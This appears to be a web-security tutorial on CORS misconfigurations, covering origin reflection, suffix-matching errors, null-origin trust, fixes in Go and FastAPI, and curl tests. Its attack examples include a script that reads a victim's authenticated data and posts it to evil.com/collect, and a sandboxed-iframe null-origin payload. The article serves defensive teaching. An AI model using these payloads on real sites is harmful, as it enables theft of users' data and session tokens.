CORS Misconfiguration: How Broken Cross-Origin Policies Lead to Credential and Data Theft

CORS misconfigurations are among the most consistently exploited web application vulnerabilities. A single overly permissive header can allow any website to read authenticated API responses on behalf of your users.

What Is CORS and Why Does It Matter?

The Same-Origin Policy (SOP) prevents web pages from making requests to a different origin (scheme + hostname + port) and reading the responses. Without it, any website could silently read your authenticated bank balance, email, or private data using the victim’s active session.

CORS (Cross-Origin Resource Sharing) is the mechanism by which servers opt out of SOP restrictions for specific trusted origins. A server can say: “I allow javascript.com to read my responses.” The browser enforces this based on Access-Control-Allow-Origin and related headers in the server’s response.

The problem: most CORS implementations in production are either overly permissive from day one or become permissive as developers add exceptions to solve integration problems.

Vulnerability Classes

1. Wildcard Origin with Credentials

The most dangerous configuration — and the one that should be immediately obvious to any reviewer:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Per the CORS specification, a wildcard origin cannot be combined with Allow-Credentials: true. Browsers refuse this combination. However, developers who add * to silence CORS errors and then separately add the credentials header are likely also reflecting the actual origin instead — creating a misconfiguration that is exploitable even though the specific headers above would be rejected by browsers.

2. Origin Reflection

The most common real-world misconfiguration. The server reflects whatever Origin header the request sends back in Access-Control-Allow-Origin, without validating it against an allowlist:

Vulnerable code (Node.js/Express):

// VULNERABLE: reflects any origin unconditionally
app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', req.headers.origin);
  res.header('Access-Control-Allow-Credentials', 'true');
  next();
});

Attack scenario:

<!-- Attacker hosts this on evil.com -->
<script>
  fetch('https://api.target.com/account/profile', {
    credentials: 'include'  // sends victim's session cookies
  })
  .then(r => r.json())
  .then(data => {
    // Send stolen data to attacker's server
    fetch('https://evil.com/collect', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });
</script>

When the victim visits evil.com while authenticated to api.target.com, the attacker can read the victim’s account data, tokens, and any other authenticated API response.

3. Subdomain and Suffix Matching Errors

Many implementations attempt an allowlist but implement it incorrectly:

# VULNERABLE: suffix match instead of exact domain match
def is_allowed_origin(origin):
    return origin.endswith('.trusted.com')

# Bypassed by: https://evil-trusted.com
# Bypassed by: https://trusted.com.evil.com
# CORRECT: exact match against allowlist
ALLOWED_ORIGINS = {
    'https://app.trusted.com',
    'https://api.trusted.com',
    'https://trusted.com',
}

def is_allowed_origin(origin):
    return origin in ALLOWED_ORIGINS

4. Null Origin Acceptance

Some servers explicitly trust the null origin to handle local file access or certain redirect scenarios:

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

The null origin can be triggered by attacker-controlled content via sandboxed iframes:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" 
        srcdoc='<script>
          fetch("https://api.target.com/sensitive", {credentials: "include"})
          .then(r => r.text())
          .then(d => window.top.postMessage(d, "*"));
        </script>'>
</iframe>

5. Pre-flight Misconfiguration

CORS preflight (OPTIONS) requests check permissions before the actual request. Servers that return permissive headers only on preflight but restrict actual responses cause confusion — and vice versa. Inconsistent handling between OPTIONS and the actual request method creates edge cases that may be exploitable depending on the browser.

Secure Implementation

Exact-match allowlist (Go)

var allowedOrigins = map[string]bool{
    "https://app.example.com":   true,
    "https://admin.example.com": true,
}

func corsMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        origin := r.Header.Get("Origin")
        
        if allowedOrigins[origin] {
            w.Header().Set("Access-Control-Allow-Origin", origin)
            w.Header().Set("Access-Control-Allow-Credentials", "true")
            w.Header().Set("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
            w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization")
            // Vary header tells caches that response differs by Origin
            w.Header().Add("Vary", "Origin")
        }
        
        if r.Method == "OPTIONS" {
            w.WriteHeader(http.StatusNoContent)
            return
        }
        
        next.ServeHTTP(w, r)
    })
}

Exact-match allowlist (Python/FastAPI)

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware

app = FastAPI()

ALLOWED_ORIGINS = [
    "https://app.example.com",
    "https://admin.example.com",
]

app.add_middleware(
    CORSMiddleware,
    allow_origins=ALLOWED_ORIGINS,  # Explicit list, never "*"
    allow_credentials=True,
    allow_methods=["GET", "POST"],
    allow_headers=["Content-Type", "Authorization"],
)

The Vary: Origin Header

Always include Vary: Origin in responses where CORS headers differ by origin. Without it, a caching proxy might serve a response with one origin’s CORS headers to a different origin’s request, potentially leaking access.

Testing CORS Configuration

Manual test: Send a request with a crafted Origin header and check the response:

# Test 1: Does the server reflect arbitrary origins?
curl -H "Origin: https://evil.com" \
     -H "Cookie: session=your-session-token" \
     -v https://api.target.com/api/profile 2>&1 | grep -i "access-control"

# Test 2: Does it accept null origin?
curl -H "Origin: null" \
     -v https://api.target.com/api/profile 2>&1 | grep -i "access-control"

# Test 3: Subdomain bypass attempt
curl -H "Origin: https://trusted.com.evil.com" \
     -v https://api.target.com/api/profile 2>&1 | grep -i "access-control"

Automated: OWASP ZAP’s active scanner and Burp Suite’s CORS Scanner extension cover the main patterns. Include CORS testing in your CI/CD pipeline for any API endpoint that sets Access-Control headers.

Common Framework Pitfalls

FrameworkCommon Mistake
Express (cors package)origin: true reflects any origin
Django CORS HeadersCORS_ORIGIN_ALLOW_ALL = True without understanding credentials interaction
Spring Boot@CrossOrigin without explicit origins attribute defaults to reflective
.NET CoreUsing AllowAnyOrigin() combined with AllowCredentials() — rejects at runtime but developers often “fix” it by reflecting

Impact Summarised

A single CORS misconfiguration on an authenticated API endpoint enables:

  • Reading authenticated user data without credential theft
  • Exfiltrating CSRF tokens (enabling CSRF attacks even on CSRF-protected endpoints)
  • Reading internal API responses if the misconfigured endpoint is in an internal-facing service
  • Account takeover if session tokens or OAuth codes are returned in API responses

CORS vulnerabilities are consistently underrated in internal risk assessments because the attack requires luring a victim to an attacker-controlled page — but that’s precisely what phishing and malvertising accomplish daily.